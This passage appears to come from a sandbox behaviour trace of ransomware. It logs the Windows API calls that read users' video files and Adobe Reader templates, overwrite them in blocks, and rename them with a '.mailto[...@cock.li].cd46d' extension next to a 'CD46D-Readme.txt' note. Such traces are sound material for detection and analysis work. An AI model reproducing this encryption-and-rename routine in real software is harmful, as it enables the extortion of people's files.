lpOverlapped=0x0) returned 1 [0160.153] SetFilePointerEx (in: hFile=0x1620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2818 [0160.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c260 [0160.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0160.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0160.154] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12d92910 [0160.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0160.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0160.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0160.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c260) returned 1 [0160.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0160.159] WriteFile (in: hFile=0x1620, lpBuffer=0x12d92910*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf05f6f0, lpOverlapped=0x0 | out: lpBuffer=0x12d92910*, lpNumberOfBytesWritten=0xf05f6f0*=0xc800, lpOverlapped=0x0) returned 1 [0160.570] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d92910) returned 1 [0160.570] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d86108) returned 1 [0160.570] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3d) returned 0x8d28f0 [0160.571] SetFilePointerEx (in: hFile=0x1620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.571] WriteFile (in: hFile=0x1620, lpBuffer=0x8f6d08*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0xf05f770, lpOverlapped=0x0 | out: lpBuffer=0x8f6d08*, lpNumberOfBytesWritten=0xf05f770*=0x121, lpOverlapped=0x0) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d08) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2428) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d28f0) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af028) returned 1 [0160.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeda8) returned 1 [0160.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bba58 [0160.692] wcscpy (in: _Dest=0xd4bba58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi" [0160.692] wcscat (in: _Dest=0xd4bba58, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi.mailto[2Hamlampampom@cock.li].cd46d" [0160.692] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf05f728, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0160.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf8) returned 0x8ec1d8 [0160.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec1d8) returned 1 [0160.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96ae48) returned 1 [0160.792] NtQueryInformationFile (in: FileHandle=0x1620, IoStatusBlock=0xf05f734, FileInformation=0xf05f70c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf05f734, FileInformation=0xf05f70c) returned 0x0 [0160.792] NtSetInformationFile (FileHandle=0x1620, IoStatusBlock=0xf05f734, FileInformation=0xf05f70c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0160.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bba58) returned 1 [0160.812] FlushFileBuffers (hFile=0x1620) returned 1 [0160.814] CloseHandle (hObject=0x1620) returned 1 [0160.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c761f8 [0160.815] wcscpy (in: _Dest=0x12c761f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0160.815] wcscat (in: _Dest=0x12c761f8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" [0160.815] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\cd46d-readme.txt")) returned 0x20 [0160.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c761f8) returned 1 [0160.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933e98) returned 1 Thread: id = 3926 os_tid = 0x11a4 [0156.178] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\ydqre37zatjdukfmy.mp4")) returned 0x20 [0156.975] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4", dwFileAttributes=0x20) returned 1 [0159.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\ydqre37zatjdukfmy.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1640 [0159.647] GetFileSizeEx (in: hFile=0x1640, lpFileSize=0xf16fd20 | out: lpFileSize=0xf16fd20*=80763) returned 1 [0159.647] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x13b77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.647] ReadFile (in: hFile=0x1640, lpBuffer=0xf16fca4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf16fca0, lpOverlapped=0x0 | out: lpBuffer=0xf16fca4*, lpNumberOfBytesRead=0xf16fca0*=0x4, lpOverlapped=0x0) returned 1 [0159.648] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.648] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dd70 [0159.649] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e1f8 [0159.649] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e1d0 [0159.649] NtQuerySystemTime (in: CurrentTime=0xf16fc80 | out: CurrentTime=0xf16fc80*=132174899342518000) returned 0x0 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x23a134c3 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x3d3b8f97 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x200adb6e [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x4f85b75c [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x1255f901 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x424c631b [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x35ed874a [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x36b0a6a6 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x15d4ae27 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x21f3a87c [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x6981b452 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x3a1f7016 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x5b8f3fc [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0xfcd456 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x685d9e56 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x5765718d [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x4354104f [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x147d6c78 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x426e6881 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x70c9367 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x18115511 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x63ce3883 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x2a229ec9 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x374cf155 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x41a6c460 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x1fb5ffc8 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x6b592a0d [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0xf742412 [0159.649] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x13a7e84 [0159.650] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x496f1600 [0159.650] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x3ed8dba [0159.650] RtlRandomEx (in: Seed=0xf16fc8c | out: Seed=0xf16fc8c) returned 0x5558a1bc [0159.665] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.665] ReadFile (in: hFile=0x1640, lpBuffer=0x12c9d078, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf16fc60, lpOverlapped=0x0 | out: lpBuffer=0x12c9d078*, lpNumberOfBytesRead=0xf16fc60*=0xc800, lpOverlapped=0x0) returned 1 [0159.670] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2938 [0159.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bf90 [0159.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dd70 [0159.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd70) returned 1 [0159.672] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12ca9880 [0159.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dd70 [0159.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e1d0 [0159.676] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e1d0) returned 1 [0159.676] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf90) returned 1 [0159.676] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0159.676] WriteFile (in: hFile=0x1640, lpBuffer=0x12ca9880*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf16fc60, lpOverlapped=0x0 | out: lpBuffer=0x12ca9880*, lpNumberOfBytesWritten=0xf16fc60*=0xc800, lpOverlapped=0x0) returned 1 [0160.639] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ca9880) returned 1 [0160.645] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c9d078) returned 1 [0160.649] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x37) returned 0x93adb8 [0160.649] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.649] WriteFile (in: hFile=0x1640, lpBuffer=0x8fea28*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0xf16fce0, lpOverlapped=0x0 | out: lpBuffer=0x8fea28*, lpNumberOfBytesWritten=0xf16fce0*=0x11b, lpOverlapped=0x0) returned 1 [0160.705] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fea28) returned 1 [0160.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b778) returned 1 [0160.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0160.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93adb8) returned 1 [0160.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd70) returned 1 [0160.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e1f8) returned 1 [0160.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e180) returned 1 [0160.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93de38) returned 1 [0160.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x904a90 [0160.706] wcscpy (in: _Dest=0x904a90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4" [0160.706] wcscat (in: _Dest=0x904a90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0160.706] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf16fc98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\Ydqre37zaTJdUKfmy.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0160.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf2) returned 0x8ec5d8 [0160.833] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec5d8) returned 1 [0160.833] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96b4c0) returned 1 [0160.833] NtQueryInformationFile (in: FileHandle=0x1640, IoStatusBlock=0xf16fca4, FileInformation=0xf16fc7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf16fca4, FileInformation=0xf16fc7c) returned 0x0 [0160.833] NtSetInformationFile (FileHandle=0x1640, IoStatusBlock=0xf16fca4, FileInformation=0xf16fc7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0160.835] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904a90) returned 1 [0160.835] FlushFileBuffers (hFile=0x1640) returned 1 [0160.838] CloseHandle (hObject=0x1640) returned 1 [0160.839] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c761f8 [0160.839] wcscpy (in: _Dest=0x12c761f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0160.839] wcscat (in: _Dest=0x12c761f8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" [0160.839] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\cd46d-readme.txt")) returned 0x20 [0160.839] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c761f8) returned 1 [0160.839] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae1a8) returned 1 Thread: id = 3971 os_tid = 0x1260 [0156.346] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf")) returned 0x20 [0156.346] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0156.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.346] GetLastError () returned 0x5 [0156.347] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0156.347] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad5c8) returned 1 Thread: id = 3972 os_tid = 0x1264 [0156.351] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf")) returned 0x20 [0156.351] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", dwFileAttributes=0x20) returned 0 [0156.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.351] GetLastError () returned 0x5 [0156.351] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf", dwFileAttributes=0x20) returned 0 [0156.351] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934678) returned 1 Thread: id = 3973 os_tid = 0x1268 [0156.352] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6a28 [0156.352] wcscpy (in: _Dest=0x8e6a28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" [0156.352] wcscat (in: _Dest=0x8e6a28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" [0156.352] wcscat (in: _Dest=0x8e6a28, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*" [0156.352] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91ce18 [0156.352] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9426b0 [0156.352] wcscmp (_String1=".", _String2=".") returned 0 [0156.352] FindNextFileW (in: hFindFile=0x9426b0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.352] wcscmp (_String1="..", _String2=".") returned 1 [0156.353] wcscmp (_String1="..", _String2="..") returned 0 [0156.353] FindNextFileW (in: hFindFile=0x9426b0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0156.353] wcscmp (_String1="AdobeID.pdf", _String2=".") returned 1 [0156.353] wcscmp (_String1="AdobeID.pdf", _String2="..") returned 1 [0156.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ad5c8 [0156.353] wcscpy (in: _Dest=0x9ad5c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" [0156.353] wcscat (in: _Dest=0x9ad5c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" [0156.353] wcscat (in: _Dest=0x9ad5c8, _Source="AdobeID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" [0159.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c [0159.311] FindNextFileW (in: hFindFile=0x9426b0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0159.311] wcscmp (_String1="DefaultID.pdf", _String2=".") returned 1 [0159.311] wcscmp (_String1="DefaultID.pdf", _String2="..") returned 1 [0159.311] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x935248 [0159.311] wcscpy (in: _Dest=0x935248, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned="C:\\Program 